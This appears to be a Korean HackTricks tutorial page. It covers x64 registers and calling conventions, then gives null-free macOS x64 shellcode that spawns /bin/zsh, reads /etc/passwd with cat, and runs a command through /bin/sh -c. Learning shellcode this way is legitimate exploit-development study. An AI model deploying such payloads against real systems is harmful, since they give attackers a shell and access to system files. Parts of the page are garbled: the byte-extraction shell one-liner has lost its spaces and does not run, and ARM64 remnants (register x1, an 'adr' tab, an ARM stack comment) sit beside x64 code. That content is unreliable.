HackTricks 및 HackTricks Cloud github 저장소로 PR을 제출하여 귀하의 해킹 기술을 공유하세요.
x64 소개
x64 또는 x86-64은 주로 데스크탑 및 서버 컴퓨팅에서 사용되는 64비트 프로세서 아키텍처입니다. 인텔이 생산한 x86 아키텍처에서 유래하였으며 AMD가 AMD64라는 이름으로 채택한 후 현재 개인 컴퓨터 및 서버에서 주요 아키텍처로 사용되고 있습니다.
레지스터
x64는 x86 아키텍처를 확장하여 rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, 그리고 r8부터 r15까지 레이블이 붙은 16개의 범용 레지스터를 제공합니다. 각 레지스터는 64비트(8바이트) 값을 저장할 수 있습니다. 이러한 레지스터는 호환성 및 특정 작업을 위해 32비트, 16비트 및 8비트 하위 레지스터도 가지고 있습니다.
rax - 함수로부터의 반환 값으로 전통적으로 사용됩니다.
rbx - 메모리 작업의 베이스 레지스터로 자주 사용됩니다.
rcx - 루프 카운터로 일반적으로 사용됩니다.
rdx - 확장된 산술 연산을 포함한 여러 역할에 사용됩니다.
rbp - 스택 프레임의 베이스 포인터입니다.
rsp - 스택의 맨 위를 추적하는 스택 포인터입니다.
rsi 및 rdi - 문자열/메모리 작업에서 소스 및 대상 인덱스로 사용됩니다.
**r8**부터 r15 - x64에서 도입된 추가 범용 레지스터입니다.
호출 규약
x64 호출 규약은 운영 체제에 따라 다릅니다. 예를 들어:
Windows: 처음 네 개의 매개변수는 레지스터 rcx, rdx, r8, **r9**에 전달됩니다. 추가 매개변수는 스택에 푸시됩니다. 반환 값은 **rax**에 있습니다.
System V (UNIX와 유사한 시스템에서 일반적으로 사용됨): 처음 여섯 개의 정수 또는 포인터 매개변수는 레지스터 rdi, rsi, rdx, rcx, r8, **r9**에 전달됩니다. 반환 값 또한 **rax**에 있습니다.
함수에 여섯 개 이상의 입력이 있는 경우 나머지는 스택에 전달됩니다. RSP, 스택 포인터는 16바이트 정렬이 되어야 하며, 이는 호출이 발생하기 전에 가리키는 주소가 16으로 나누어 떨어져야 함을 의미합니다. 일반적으로 우리는 함수 호출 전에 쉘코드에서 RSP가 적절하게 정렬되어 있는지 확인해야 합니다. 그러나 실제로는 이 요구 사항을 충족하지 않아도 시스템 호출이 많은 시간 동작합니다.
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in$(objdump-d "shell.o" |grep-E '[0-9a-f]+:' |cut-f1|cut-d:-f2) ; doecho-n'\\x'$cdone# Another optionotool-tshell.o|grep00|cut-f2-d$'\t'|sed's/ /\\x/g'|sed's/^/\\x/g'|sed's/\\x$//g'
</details>
#### 쉘
[**여기**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)에서 가져온 내용을 설명합니다.
<div data-gb-custom-block data-tag="tabs">
<div data-gb-custom-block data-tag="tab" data-title='adr를 사용한 경우'>
```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
cat으로 읽기
목표는 execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)을 실행하는 것이므로 두 번째 인자 (x1)는 매개변수 배열이어야 합니다 (메모리에서는 주소 스택을 의미합니다).
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
sh를 사용하여 명령 호출
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0